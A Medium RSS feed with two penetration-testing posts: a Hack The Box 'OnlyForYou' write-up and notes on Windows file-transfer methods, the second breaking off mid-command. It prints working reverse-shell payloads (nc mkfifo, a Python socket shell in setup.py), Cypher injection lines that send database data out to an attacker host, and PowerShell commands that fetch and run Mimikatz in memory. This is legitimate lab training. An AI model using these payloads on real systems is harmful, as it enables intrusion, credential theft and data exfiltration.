<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mario Rufisanto on Medium]]></title>
        <description><![CDATA[Stories by Mario Rufisanto on Medium]]></description>
        <link>https://medium.com/@mario.rufisanto?source=rss-ffcae5220291------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*NqFhhcgXtu3dOCvc</url>
            <title>Stories by Mario Rufisanto on Medium</title>
            <link>https://medium.com/@mario.rufisanto?source=rss-ffcae5220291------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 16:54:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mario.rufisanto/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OnlyForYou HTB Write Up]]></title>
            <link>https://medium.com/fmisec/onlyforyou-htb-write-up-a85641335058?source=rss-ffcae5220291------2</link>
            <guid isPermaLink="false">https://medium.com/p/a85641335058</guid>
            <dc:creator><![CDATA[Mario Rufisanto]]></dc:creator>
            <pubDate>Mon, 25 Mar 2024 08:55:32 GMT</pubDate>
            <atom:updated>2024-03-25T08:55:32.335Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IvOpc6klCD6isFJTatJO7A.png" /></figure><h3>Scanning</h3><p>To start with, let’s scan the open ports using nmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gU09kHQXvBsNFAAqcGbivA.png" /></figure><p>We found two basic open ports which are 22 and 80 that are commonly used, 22 for the ssh and 80 for the http web server.</p><h3>User Flag</h3><p>Add the domain to /etc/hosts so we can open the web view from our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fmFbLSObWLbDr63_dYVrJA.png" /></figure><p>And here is the web view of only4you.htb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JfoaCAh8mObBJLjiyTo_uQ.png" /></figure><p>The page itself is only a landing page with no interesting features other than the contact us form. But, by checking the source code of the page, we can find a subdomain of http://beta.only4you.com that we can visit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*08O6ujHJoJvul3y1j14FSg.png" /></figure><p>Add the domain to /etc/hosts, then visit the web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YFXylVTDqKqKtwc7uXsdug.png" /></figure><p>The beta web page offers features to convert and resize image files, other than that it also gives us the options to download the source code. So, let’s download and check out the functions that control those features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gYrJFEPFSN9XG5e4f-CZ5g.png" /></figure><p>In the source code, we can find the download function. The function will check the body request of image then validates whether it has some LFI possibilities of attack. But, the validation itself is considered weak, because we can bypass them by naming the file to /{file-name} since it will search the file from the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v2A2jgLc4zfkeiyYhK5lyA.png" /></figure><p>Here’s some of the files that I found:</p><blockquote><em>/etc/passwd</em></blockquote><p>The first file that I checked was the /etc/passwd that shows that there are two users which are john and dev.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*3LbgWwRqbnSRQ8ePHGsKiA.png" /></figure><blockquote><em>/etc/nginx/nginx.conf</em></blockquote><p>Then, since the website is being hosted using nginx, I tried finding several default nginx configuration files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_wTmRkj6vGPJxAu5c8s5Pg.png" /></figure><blockquote><em>/etc/nginx/sites-available/default</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k7nuU32A8f5w8yojTIio9g.png" /></figure><p>This file shows the two domains that is being deployed on the web server and it’s web directory.</p><p>With the provided information of the web directory, we can try to enumerate some possible file name.</p><blockquote><em>/var/www/only4you.htb/app.py</em></blockquote><p>The file app.py is one of the most common file in a python flask project. In the file, there’s the index function that controls the contact us form. We can see that it import a sendmessage method from form, this means we can try to download the form.py file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*CpPEvCatKKwoT7KbrabNIg.png" /></figure><blockquote><em>/var/www/only4you.htb/form.py</em></blockquote><p>In the file, there’s an interesting line of code that uses the run() method. It takes the domain of the email body request and put it directly into the parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nQPjsSHVWUYUxJsN-Yl1WA.png" /></figure><p>This is a vulnerability that we can exploit to run a command injection attack which will spawn a foothold reverse shell for us. By sending a dummy request from the page, we can open the request from burp repeater to custom the body request and try several payload till it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WSdirlexrsFAJxCLTspDNA.png" /></figure><p>I use a payload created using <a href="https://www.revshells.com/">https://www.revshells.com/</a> (nc mkfifo) and add it next to the email.</p><pre>asd@mail.com; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.10.14.12 3000 &gt;/tmp/f</pre><p>Then, url-encode the email and send the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xImY-nlPY3-ZOJ9yHW0_0w.png" /></figure><p>Remember to start a netcat listener beforehand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZArO2g2eY4f0M74QYFFHSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CyMrdn-poH9Ey7Ra_0G_LQ.png" /></figure><p>With the reverse shell that we got, we can traverse and try to check out the directories. But, since it’s not a user shell yet, we need to to a horizontal pivoting technique. And to do that, we need to gather some informations that we can use such as checking the services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*Dsc3NhUpJqiHys5oaFoKXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iz5aW3uoJ-HlLlH5RniRpw.png" /></figure><p>After looking around the services, one of the service that is interesting was in the port of 8001. But since we cannot directly access the service, we need to port forward the port 8001 to the attacking machine and to do that we can use chisel.</p><p><a href="https://github.com/jpillora/chisel">https://github.com/jpillora/chisel</a></p><p>Since the box isn’t connected through the internet directly, we need to serve an http server from our machine and download the chisel from there. So, find a directory that we have access to such as the tmp folder and put the file there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B8r5VGkGekn3KrmVa7yVPQ.png" /></figure><pre># client<br>./chisel_linux client [ATTACKER_IP]:9999 R:8001:127.0.0.1:8001<br><br># reverse<br>chisel server --reverse -p 9999</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0zM2ubaoERxynQ1-SVXCLQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ooXFVrXQZ7E2lGHPbHfxcQ.png" /></figure><p>With chisel, we can now checkout what port 8001 is for. But first, we need a credential to access them. This is a rabbit hole, since it doesn’t have any vulnerabilites that we might expect but the answer is actually really simple which is a weak credential.</p><pre>Username: admin<br>Password: admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CNpjccrmN3hBilYCRVwwiA.png" /></figure><p>Then, after we successfuly logged in, we can find an employee list with a search feature. From the services shown when we gather the information, there is a Neo4j service that might serve as the database for this service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IRnywKb-vFpeSI2KunLTuw.png" /></figure><p>So, I tried out some cypher injection payload and here’s the result.</p><p><a href="https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j">https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j</a></p><pre># Server Version<br>&#39; OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM &#39;&lt;http://10.10.14.12:8000/?version=&gt;&#39; + version + &#39;&amp;name=&#39; + name + &#39;&amp;edition=&#39; + edition as l RETURN 0 as _0 //</pre><pre># Get labels<br>&#39; OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM &#39;&lt;http://10.10.14.12:8000/?label=&gt;&#39; + label AS r RETURN 0 as _0 //</pre><pre># List the keys of the property &quot;user&quot;<br>&#39; OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM &#39;&lt;http://10.10.14.12:8000/?&#39;&gt; + p +&#39;=&#39;+toString(f[p]) as l RETURN 0 as _0 //</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9iCTi4dHMIs4GPc-ujgcPg.png" /></figure><p>Now, we have two user credentials with the password still hashed, so we can use <a href="https://crackstation.net/">https://crackstation.net/</a> to try cracking them out.</p><pre>password=a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6<br>10.10.11.210 - - [28/Apr/2023 21:03:09] &quot;GET /?username=john HTTP/1.1&quot; 200 -</pre><pre>password=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918<br>10.10.11.210 - - [28/Apr/2023 21:03:09] &quot;GET /?username=admin HTTP/1.1&quot; 200 -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DWvTytFkKbDGrtonCTBdyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*owtlXT0ma4higjPC57XqOQ.png" /></figure><pre>Username: john<br>Password: ThisIs4You<br><br>Username: admin<br>Password: admin</pre><p>Remember, that we found a user of john before, now we can try connecting through the ssh with john’s credential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xBHrBAL6mgyOciPLVclXXw.png" /></figure><p>After a successful attempt, we can find the user flag in john’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HhH-iqFmroA5-EiCYvn5fw.png" /></figure><h3>Root Flag</h3><p>First, we need to gather some informations regarding what commands that we can use as sudo. With sudo -l, we found that we can use pip3 to download any .tar.gz file from the service that is being deployed on port 3000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R3gBL2ZT2vAPcnHoSrbfGQ.png" /></figure><p>So, to further investigate, we need to port forward the port 3000 to our attacking machine. The steps are the same with the port 8001.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fENN6fRRcNCLBnwnck44sA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L9uU_fRgBg-po1-AarOMmA.png" /></figure><p>After we open the port 3000 in the web, we found out that it serve as a Gogs service. With that in mind, since we can download a .tar.gz file from the repositories, we can use that to our advantage and create a <a href="http://setup.py/">setup.py</a> file that has a reverse shell payload inside, and pip will automatically run it when downloading the file.</p><p>But first to access the repository, we need to sign in. Luckily john’s credential can still be used here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IFkuuyieRxy1AeTJkX2V3A.png" /></figure><p>So now, create a <a href="http://setup.py/">setup.py</a> file with a reverse shell payload such as the one below and put it inside a folder. Then, zip the folder as .tar.gz and upload them to the repository</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAdaqNTO-MroZ4Qpuyzb-g.png" /></figure><pre>import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.10.14.12&quot;,4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(&quot;/bin/sh&quot;)</pre><p>There’s an important setting that we need to change to make it possible for us to download the file from the repository which is to make the visibility to public. There is also some kind of cropnjob going on in the background that will automatically reset any changes made in the repository, so keep it that in mind.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*paAAFJWXJs0b6HbWTNT9oQ.png" /></figure><p>After that, all we need is to download the raw file of the payload that we created before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bfwi0am_1daXq-ELyn-oIw.png" /></figure><p>Remember to start the netcat beforehand to catch the reverse shell. The root flag will be in the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i3dkg0nHZkKk2sHBM1GT3Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a85641335058" width="1" height="1" alt=""><hr><p><a href="https://medium.com/fmisec/onlyforyou-htb-write-up-a85641335058">OnlyForYou HTB Write Up</a> was originally published in <a href="https://medium.com/fmisec">FMI Cyber Security Consulting Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows File Transfer Methods]]></title>
            <link>https://medium.com/fmisec/windows-file-transfer-methods-4c706904d890?source=rss-ffcae5220291------2</link>
            <guid isPermaLink="false">https://medium.com/p/4c706904d890</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[windows-security]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Mario Rufisanto]]></dc:creator>
            <pubDate>Sat, 03 Feb 2024 11:27:16 GMT</pubDate>
            <atom:updated>2024-02-03T11:27:16.879Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/626/0*hRXs5q1gegIyxuTw.png" /></figure><p>These notes are from my practice from HTB Academy. Excellent tip from HTB Academy: Unless specifically requested by a client, we do not recommend exfiltrating data such as Personally Identifiable Information (PII), financial data (i.e., credit card numbers), trade secrets, etc., from a client environment. Instead, if attempting to test Data Loss Prevention (DLP) controls/egress filtering protections, create a file with dummy data that mimics the data that the client is trying to protect.</p><h3>Download Operations (Get File from Host to Target Machine)</h3><blockquote><strong><em>PowerShell Base64 Encode &amp; Decode</em></strong></blockquote><p>Depending on the file size we want to transfer, we can use different methods that do not require network communication. If we have access to a terminal, we can encode a file to a base64 string, copy its contents from the terminal and perform the reverse operation, decoding the file in the original content. Let&#39;s see how we can do this with PowerShell.</p><pre>// Check MD5 Hash of File<br>oqyu@htb[/htb]$ md5sum [file_name]<br><br>// Encode File to Base64<br>oqyu@htb[/htb]$ cat [file_name] |base64 -w 0;ech</pre><pre>// Write File to Target Machine by Decoding the Base64<br>PS C:\\htb&gt; [IO.File]::WriteAllBytes(&quot;[save_to_path]&quot;, [Convert]::FromBase64String(&quot;[encoded_file]&quot;))<br><br>// Check MD5 Hash of File to Ensure it Matches<br>PS C:\\htb&gt; Get-FileHash [file_path] -Algorithm md5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sEjEpsEWGMjIUv5VeF84Ow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XIPeB2E1Uy2MvoFbQPQALg.png" /></figure><p>💡 <strong>Note:</strong> While this method is convenient, it&#39;s not always possible to use. Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, a web shell may error if you attempt to send extremely large strings.</p><blockquote><strong><em>PowerShell DownloadFile Method</em></strong></blockquote><p>We can specify the class name Net.WebClient and the method DownloadFile with the parameters corresponding to the URL of the target file to download and the output file name.</p><p>DownloadFile → Downloads data from a resource to a local file.</p><p>DownloadFileAsync → Downloads data from a resource to a local file without blocking the calling thread.</p><pre>PS C:\\htb&gt; # Example: (New-Object Net.WebClient).DownloadFile(&#39;&lt;Target File URL&gt;&#39;,&#39;&lt;Output File Name&gt;&#39;)<br>PS C:\\htb&gt; (New-Object Net.WebClient).DownloadFile(&#39;&lt;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1&#39;,&#39;C:\\Users\\Public\\Downloads\\PowerView.ps1&gt;&#39;)<br><br>or<br><br>PS C:\\htb&gt; # Example: (New-Object Net.WebClient).DownloadFileAsync(&#39;&lt;Target File URL&gt;&#39;,&#39;&lt;Output File Name&gt;&#39;)<br>PS C:\\htb&gt; (New-Object Net.WebClient).DownloadFileAsync(&#39;&lt;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1&gt;&#39;, &#39;PowerViewAsync.ps1&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cfZgJhT0cDrKG3Wj11OVjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dsEqGyaav32ENAA-tBR-BQ.png" /></figure><blockquote><strong><em>PowerShell DownloadString - Fileless Method</em></strong></blockquote><p>Fileless attacks work by using some operating system functions to download the payload and execute it directly. PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2">Invoke-Expression</a> cmdlet or the alias IEX.</p><pre>PS C:\\htb&gt; # Example: IEX (New-Object Net.WebClient).DownloadString(&#39;&lt;Target File URL&gt;&#39;)<br>PS C:\\htb&gt; IEX (New-Object Net.WebClient).DownloadString(&#39;&lt;https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1&gt;&#39;)<br><br>or <br><br>PS C:\\htb&gt; # Example: (New-Object Net.WebClient).DownloadString(&#39;&lt;Target File URL&gt;&#39;) | IEX<br>PS C:\\htb&gt; (New-Object Net.WebClient).DownloadString(&#39;&lt;https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1&gt;&#39;) | IEX</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XeBgVgub-boVOiTIF_yCig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BK4g4odxWxPBWUZ5zCbEjw.png" /></figure><blockquote><strong><em>PowerShell Invoke-WebRequest</em></strong></blockquote><p>From PowerShell 3.0 onwards, the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2">Invoke-WebRequest</a> cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.</p><pre>PS C:\\htb&gt; # Example: Invoke-WebRequest &lt;Target File URL&gt; -OutFile &lt;Output File Name&gt;<br>PS C:\\htb&gt; Invoke-WebRequest &lt;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1&gt; -OutFile PowerView.ps1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o_e9JRjEhSEx-OpTKKMEjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v5EAcqv6NMWNaIyFfGr2Bg.png" /></figure><p>💡 There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download. This can be bypassed using the parameter -UseBasicParsing.</p><pre>PS C:\\htb&gt; Invoke-WebRequest https://&lt;ip&gt;/PowerView.ps1 | IEX<br><br>Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer&#39;s first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.<br>At line:1 char:1<br>+ Invoke-WebRequest &lt;https://raw.githubusercontent.com/PowerShellMafia/P&gt; ...<br>+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException<br>+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand<br><br>PS C:\\htb&gt; Invoke-WebRequest https://&lt;ip&gt;/PowerView.ps1 -UseBasicParsing | IEX</pre><blockquote><strong><em>SMB Downloads</em></strong></blockquote><p>The Server Message Block protocol (SMB protocol) that runs on port TCP/445 is common in enterprise networks where Windows services are running. It enables applications and users to transfer files to and from remote servers.</p><pre>oqyu@htb[/htb]$ # Example: sudo impacket-smbserver [share_name] -smb2support [directory_path]<br>oqyu@htb[/htb]$ sudo impacket-smbserver share -smb2support /tmp/smbshare</pre><pre>C:\\htb&gt; # Example: copy \\\\[host_ip]\\[share_name]\\[file_name]<br>C:\\htb&gt; copy \\\\192.168.220.133\\share\\nc.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cJfj-foz4zv_vhIO4EtWzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b_nelWb8iIDKxqcW7Yb6NA.png" /></figure><p>💡 New versions of Windows block unauthenticated guest access. To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine.</p><pre>oqyu@htb[/htb]$ # Example: sudo impacket-smbserver [share_name] -smb2support [directory_path] -user [username] -password [password]<br>oqyu@htb[/htb]$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test</pre><pre>C:\\htb&gt; # Example: net use n: \\\\[host_ip]\\[share_name] /user:[username] [password]<br>C:\\htb&gt; net use n: \\\\192.168.220.133\\share\\ /user:test test <br>C:\\htb&gt; copy n:\\nc.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gJ-T7bIkx7gkeF6KbaxnrQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zPkEGPgUTVoGymKDtzCilw.png" /></figure><blockquote><strong><em>FTP Downloads</em></strong></blockquote><p>Another way to transfer files is using FTP (File Transfer Protocol), which use port TCP/21 and TCP/20. We can use the FTP client or PowerShell Net.WebClient to download files from an FTP server.</p><p>We can configure an FTP Server in our attack host using Python3 pyftpdlib module. It can be installed with the following command:</p><pre>// Installing the pyftpdlib module<br>oqyu@htb[/htb]$ sudo pip3 install pyftpdlib<br><br>// Run and specify the port number to 21 (by default, pyftpdlib uses port 2121)<br>oqyu@htb[/htb]$ sudo python3 -m pyftpdlib --port 21</pre><p>After the FTP server is set up, we can perform file transfers using the pre-installed FTP client from Windows or PowerShell Net.WebClient.</p><pre>PS C:\\htb&gt; # Example : (New-Object Net.WebClient).DownloadFile(&#39;ftp://[host-ip]/[file-name]&#39;, &#39;[save-to-path]&#39;)<br>PS C:\\htb&gt; (New-Object Net.WebClient).DownloadFile(&#39;&lt;ftp://192.168.49.128/file.txt&gt;&#39;, &#39;C:\\Users\\Public\\ftp-file.txt&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GcCW6BZc8UrOEibjmcCwtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pZ-zLt3xX7GroXRJhB7o-Q.png" /></figure><h3>Upload Operations (Upload File from Target Machine to Host)</h3><blockquote><strong><em>PowerShell Base64 Encode &amp; Decode</em></strong></blockquote><p>We saw how to decode a base64 string using Powershell. Now, let&#39;s do the reverse operation and encode a file so we can decode it on our attack host.</p><pre>// Encode File to Base64<br>PS C:\\htb&gt; [Convert]::ToBase64String((Get-Content -path &quot;&lt;File Path&gt;&quot; -Encoding byte))<br><br>// Check MD5 Hash of File<br>PS C:\\htb&gt; Get-FileHash &quot;&lt;File Path&gt;&quot; -Algorithm MD5 | select Hash</pre><pre>//  Write File to Host Machine by Decoding the Base64<br>oqyu@htb[/htb]$ echo [encoded_file] | base64 -d &gt; [file_name]<br><br>// Check MD5 Hash of File to Ensure it Matches<br>oqyu@htb[/htb]$ md5sum [file_name]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tPipqahP-pxCEdZWhxh95Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ph6JP6_Z9XgycVAsZh-UTg.png" /></figure><blockquote><strong><em>PowerShell Script to Upload a File to Python Upload Server</em></strong></blockquote><p>PowerShell doesn&#39;t have a built-in function for upload operations, but we can use Invoke-WebRequest or Invoke-RestMethod to build our upload function. We&#39;ll also need a web server that accepts uploads, which is not a default option in most common webserver utilities.</p><p>For our web server, we can use <a href="https://github.com/Densaugeo/uploadserver">uploadserver</a>, an extended module of the Python <a href="https://docs.python.org/3/library/http.server.html">HTTP.server module</a>, which includes a file upload page.</p><pre>// Installing the uploadserver module<br>oqyu@htb[/htb]$ sudo pip3 install uploadserver<br><br>// Run the uploadserver<br>oqyu@htb[/htb]$ python3 -m uploadserver<br><br>File upload available at /upload<br>Serving HTTP on 0.0.0.0 port 8000 (&lt;http://0.0.0.0:8000/&gt;) ...</pre><p>Now we can use a PowerShell script <a href="https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1">PSUpload.ps1</a> which uses Invoke-RestMethod to perform the upload operations. The script accepts two parameters -File, which we use to specify the file path, and -Uri, the server URL where we&#39;ll upload our file. Let&#39;s attempt to upload the host file from our Windows host.</p><pre>// Download and Run PSUpload.pse<br>PS C:\\htb&gt; IEX(New-Object Net.WebClient).DownloadString(&#39;&lt;https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1&gt;&#39;)<br><br>// Upload File to Host Machine<br>PS C:\\htb&gt; Invoke-FileUpload -Uri http://[host-ip]:8000/upload -File [file-path]</pre><p>💡 Because the HTB machine doesn’t have an internet connection, I need to get the PSUpload.ps1 script first from my host machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ON5ZKpKdvKvlhE13cUTUJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a2soiTrTzjYaX95srO6xfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eAWSmzHz8IjGYiCAaFjWdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PWohbfxXYCKwqPSCCK8mZA.png" /></figure><blockquote><strong><em>PowerShell Base64 Web Upload</em></strong></blockquote><p>Another way to use PowerShell and base64 encoded files for upload operations is by using Invoke-WebRequest or Invoke-RestMethod together with Netcat. We use Netcat to listen in on a port we specify and send the file as a POST request. Finally, we copy the output and use the base64 decode function to convert the base64 string into a file.</p><pre>// Set up a netcat listener<br>oqyu@htb[/htb]$ nc -lvnp 8000<br><br>// Convert the encoded base64 file back to its original<br>oqyu@htb[/htb]$ echo [encoded-file] | base64 -d -w 0 &gt; [file-name]</pre><pre>// Convert the file to base64<br>PS C:\\htb&gt; $b64 = [System.convert]::ToBase64String((Get-Content -Path &#39;[file-path]&#39; -Encoding Byte))<br><br>// Send a POST request to the host machine<br>PS C:\\htb&gt; Invoke-WebRequest -Uri http://[host-ip]:8000/ -Method POST -Body $b64</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Frqe-2cqGCJZLBb97bd3-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FBsWnT1IpnAM2ZYRpBa6fQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0woW4UuUKF-C-oCjqOrx9Q.png" /></figure><blockquote><strong><em>SMB Uploads</em></strong></blockquote><p>We previously discussed that companies usually allow outbound traffic using HTTP (TCP/80) and HTTPS (TCP/443) protocols. Commonly enterprises don&#39;t allow the SMB protocol (TCP/445) out of their internal network because this can open them up to potential attacks. For more information on this, we can read the Microsoft post <a href="https://support.microsoft.com/en-us/topic/preventing-smb-traffic-from-lateral-connections-and-entering-or-leaving-the-network-c0541db7-2244-0dce-18fd-14a3ddeb282a">Preventing SMB traffic from lateral connections and entering or leaving the network</a>.</p><p>An alternative is to run SMB over HTTP with WebDav. WebDAV <a href="https://datatracker.ietf.org/doc/html/rfc4918">(RFC 4918)</a> is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.</p><pre>// Installing Webdav Python Modules<br>oqyu@htb[/htb]$ sudo pip install wsgidav cheroot<br><br>// Using the WebDav Python Module<br>oqyu@htb[/htb]$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous</pre><pre>// Connecting to the Webdav Share<br>C:\\htb&gt; # Example: dir \\\\[host-ip]\\[directory]<br>C:\\htb&gt; dir \\\\192.168.49.128\\DavWWWRoot<br><br>// Uploading Files using SMB<br>C:\\htb&gt; # Example: copy [file-path] \\\\[host-ip]\\[directory]<br>C:\\htb&gt; copy C:\\Users\\john\\Desktop\\SourceCode.zip \\\\192.168.49.129\\DavWWWRoot\\</pre><p>💡 <strong>Note:</strong> DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server.</p><p>You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \\192.168.49.128\sharefolder</p><blockquote><strong><em>FTP Uploads</em></strong></blockquote><p>Uploading files using FTP is very similar to downloading files. We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib, we need to specify the option --write to allow clients to upload files to our attack host.</p><pre>oqyu@htb[/htb]$ sudo python3 -m pyftpdlib --port 21 --write</pre><pre>PS C:\\htb&gt; # Example: (New-Object Net.WebClient).UploadFile(&#39;ftp://[host-ip]/[file-name]&#39;, &#39;[file-path]&#39;)<br>PS C:\\htb&gt; (New-Object Net.WebClient).UploadFile(&#39;&lt;ftp://192.168.49.128/ftp-hosts&gt;&#39;, 